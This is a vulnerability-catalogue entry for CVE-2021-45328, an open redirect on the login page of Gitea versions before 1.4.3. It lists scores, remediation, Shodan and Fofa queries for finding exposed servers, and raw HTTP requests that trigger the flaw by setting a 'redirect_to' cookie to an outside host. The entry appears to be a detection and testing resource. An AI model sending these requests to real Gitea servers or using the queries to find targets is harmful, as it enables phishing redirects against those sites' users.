🔙 목록으로 돌아가기

CVE-2021-45328: Gitea < 1.4.3 - Open Redirect

TitleGitea < 1.4.3 - Open Redirect
Authorritikchaddha
SeverityMedium
ImpactAn attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information.
RemediationUpgrade Gitea to version 1.4.3 or later to fix the open redirect vulnerability.
CVSS Score6.1
EPSS Score0.00625
CVE IDCVE-2021-45328
CWE IDCWE-601
Shodan Querytitle:"Gitea"http.html:"powered by gitea version"http.title:"gitea"cpe:"cpe:2.3:a:gitea:gitea"
Fofa Querybody="powered by gitea version"title="gitea"
Tags cve cve2021 redirect gitea

🔍 Vulnerability Description

Gitea before version 1.4.3 is affected by URL Redirection to Untrusted Site (‘Open Redirect’) via internal URLs. The vulnerability exists in the redirect_to parameter used on the login page (/user/login). Due to improper validation of the redirect URL, an attacker can craft a malicious link that redirects authenticated users to an arbitrary external website after login.

🌐 HTTP Request

GET /user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept-Encoding: gzip
POST /user/login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Connection: close
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
Cookie: redirect_to=//interact.sh/
Accept-Encoding: gzip

_csrf=e6IpJw&user_name=kUWBtZ&password=DNd8b6VE

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-45328.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-45328.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A